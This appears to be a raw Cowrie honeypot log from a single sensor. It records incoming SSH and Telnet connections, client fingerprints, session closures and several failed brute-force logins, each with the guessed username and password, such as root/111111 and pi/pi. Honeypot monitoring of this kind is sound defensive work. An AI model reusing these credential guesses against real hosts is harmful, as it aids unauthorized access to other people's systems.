{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:47.762534Z","src_ip":"113.163.156.190","session":"401741ea79e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999999","message":"login attempt [root/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:48.778274Z","src_ip":"113.163.156.190","session":"401741ea79e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.65108585357666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:49.063683Z","src_ip":"34.69.118.1","session":"16bcf4e27130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:50.025917Z","src_ip":"113.163.156.190","session":"401741ea79e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164437294006,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:50.307984Z","src_ip":"49.88.156.34","session":"320065142974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebaf3afbc69e","protocol":"telnet","message":"New connection: 34.69.118.1:36204 (159.203.135.109:23) [session: ebaf3afbc69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:51.122348Z"}
{"eventid":"cowrie.session.closed","duration":31.54181933403015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:51.386924Z","src_ip":"34.69.118.1","session":"3c8f1520f7a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711331367492676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:51.529316Z","src_ip":"34.69.118.1","session":"7e8224bb3765","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:54.112793Z","src_ip":"122.168.114.167","session":"73fd0340ee89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36206,"dst_ip":"159.203.135.109","dst_port":23,"session":"2238cdeb7dd0","protocol":"telnet","message":"New connection: 34.69.118.1:36206 (159.203.135.109:23) [session: 2238cdeb7dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:54.738536Z"}
{"eventid":"cowrie.session.closed","duration":30.952961444854736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:55.539942Z","src_ip":"34.69.118.1","session":"b9c6ea36f8e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.158955097198486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:55.686646Z","src_ip":"34.69.118.1","session":"6bcd17f6d6a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:56.564514Z","src_ip":"122.168.114.167","session":"73fd0340ee89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63099241256714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:56.859068Z","src_ip":"34.69.118.1","session":"fd7763edb011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33486,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b16714f347","protocol":"telnet","message":"New connection: 34.69.118.1:33486 (159.203.135.109:23) [session: 73b16714f347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:00.379231Z"}
{"eventid":"cowrie.session.closed","duration":31.445911407470703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:00.944247Z","src_ip":"34.69.118.1","session":"4a5c09991f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97654938697815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:02.302097Z","src_ip":"34.69.118.1","session":"f81a0399e6d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33490,"dst_ip":"159.203.135.109","dst_port":23,"session":"535634d9a5d1","protocol":"telnet","message":"New connection: 34.69.118.1:33490 (159.203.135.109:23) [session: 535634d9a5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:05.149570Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33492,"dst_ip":"159.203.135.109","dst_port":23,"session":"142ff4583f0d","protocol":"telnet","message":"New connection: 34.69.118.1:33492 (159.203.135.109:23) [session: 142ff4583f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:05.196461Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33506,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b991055819","protocol":"telnet","message":"New connection: 34.69.118.1:33506 (159.203.135.109:23) [session: b9b991055819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:05.313128Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33516,"dst_ip":"159.203.135.109","dst_port":23,"session":"b255c9316d63","protocol":"telnet","message":"New connection: 34.69.118.1:33516 (159.203.135.109:23) [session: b255c9316d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:05.796319Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f22739b81c","protocol":"telnet","message":"New connection: 34.69.118.1:33522 (159.203.135.109:23) [session: 80f22739b81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:06.940606Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57030,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad25e9906ac3","protocol":"telnet","message":"New connection: 34.69.118.1:57030 (159.203.135.109:23) [session: ad25e9906ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:08.624467Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.167.206.194","src_port":49878,"dst_ip":"10.17.0.5","dst_port":22,"session":"57603f92dda1","protocol":"ssh","message":"New connection: 119.167.206.194:49878 (10.17.0.5:22) [session: 57603f92dda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:08.647135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:08.841355Z","src_ip":"119.167.206.194","session":"57603f92dda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:09.077647Z","src_ip":"119.167.206.194","session":"57603f92dda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46190905570984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:09.950149Z","src_ip":"34.69.118.1","session":"697399b4f02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":33534,"dst_ip":"10.17.0.5","dst_port":22,"session":"a098f99e3fee","protocol":"ssh","message":"New connection: 76.127.61.251:33534 (10.17.0.5:22) [session: a098f99e3fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.081207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.087325Z","src_ip":"76.127.61.251","session":"a098f99e3fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.143964Z","src_ip":"76.127.61.251","session":"a098f99e3fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"12345678","message":"login attempt [testftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.164528Z","src_ip":"119.167.206.194","session":"57603f92dda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57038,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b0670482a7","protocol":"telnet","message":"New connection: 34.69.118.1:57038 (159.203.135.109:23) [session: a0b0670482a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.225845Z"}
{"eventid":"cowrie.session.closed","duration":31.229079484939575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.398317Z","src_ip":"34.69.118.1","session":"915485490e0c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123!@#","message":"login attempt [test/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.423336Z","src_ip":"76.127.61.251","session":"a098f99e3fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.27202653884888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.428903Z","src_ip":"34.69.118.1","session":"0436d0bfc4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044431924819946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:10.434248Z","src_ip":"34.69.118.1","session":"77270fecd068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5167c3c4fc","protocol":"telnet","message":"New connection: 34.69.118.1:57054 (159.203.135.109:23) [session: 9f5167c3c4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:11.328877Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:11.408853Z","src_ip":"119.167.206.194","session":"57603f92dda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:11.481475Z","src_ip":"76.127.61.251","session":"a098f99e3fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00455713272095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:15.332471Z","src_ip":"34.69.118.1","session":"44b66ee8790b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60036,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a618746b9a3","protocol":"telnet","message":"New connection: 34.69.118.1:60036 (159.203.135.109:23) [session: 5a618746b9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:18.153388Z"}
{"eventid":"cowrie.session.closed","duration":31.15522050857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:22.277448Z","src_ip":"34.69.118.1","session":"ebaf3afbc69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"155be136ab09","protocol":"telnet","message":"New connection: 34.69.118.1:60046 (159.203.135.109:23) [session: 155be136ab09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:24.044456Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60054,"dst_ip":"159.203.135.109","dst_port":23,"session":"40977ab23780","protocol":"telnet","message":"New connection: 34.69.118.1:60054 (159.203.135.109:23) [session: 40977ab23780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:24.989958Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52558,"dst_ip":"159.203.135.109","dst_port":22,"session":"1267f71f6626","protocol":"ssh","message":"New connection: 122.168.114.167:52558 (159.203.135.109:22) [session: 1267f71f6626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:25.781107Z"}
{"eventid":"cowrie.session.closed","duration":31.605366230010986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:26.343753Z","src_ip":"34.69.118.1","session":"2238cdeb7dd0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:27.185138Z","src_ip":"122.168.114.167","session":"1267f71f6626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:27.188733Z","src_ip":"122.168.114.167","session":"1267f71f6626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50590,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeccc1fb9d17","protocol":"telnet","message":"New connection: 185.26.126.47:50590 (159.203.135.109:23) [session: eeccc1fb9d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:29.720453Z"}
{"eventid":"cowrie.session.closed","duration":30.95794653892517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:31.337023Z","src_ip":"34.69.118.1","session":"73b16714f347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48504,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d18fe5d84fc","protocol":"ssh","message":"New connection: 221.139.88.149:48504 (10.17.0.5:22) [session: 8d18fe5d84fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:31.986312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:31.995480Z","src_ip":"221.139.88.149","session":"8d18fe5d84fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:32.228739Z","src_ip":"221.139.88.149","session":"8d18fe5d84fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46514,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f445f442f7","protocol":"telnet","message":"New connection: 34.69.118.1:46514 (159.203.135.109:23) [session: 57f445f442f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:32.242265Z"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza1","message":"login attempt [reza/reza1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:32.999601Z","src_ip":"221.139.88.149","session":"8d18fe5d84fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:34.209145Z","src_ip":"221.139.88.149","session":"8d18fe5d84fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:35.053823Z","src_ip":"122.168.114.167","session":"1267f71f6626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46526,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3653e1d1381","protocol":"telnet","message":"New connection: 34.69.118.1:46526 (159.203.135.109:23) [session: c3653e1d1381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:35.338107Z"}
{"eventid":"cowrie.session.closed","duration":30.923079013824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:18:36.236107Z","src_ip":"34.69.118.1","session":"b9b991055819","protocol":"telnet"}
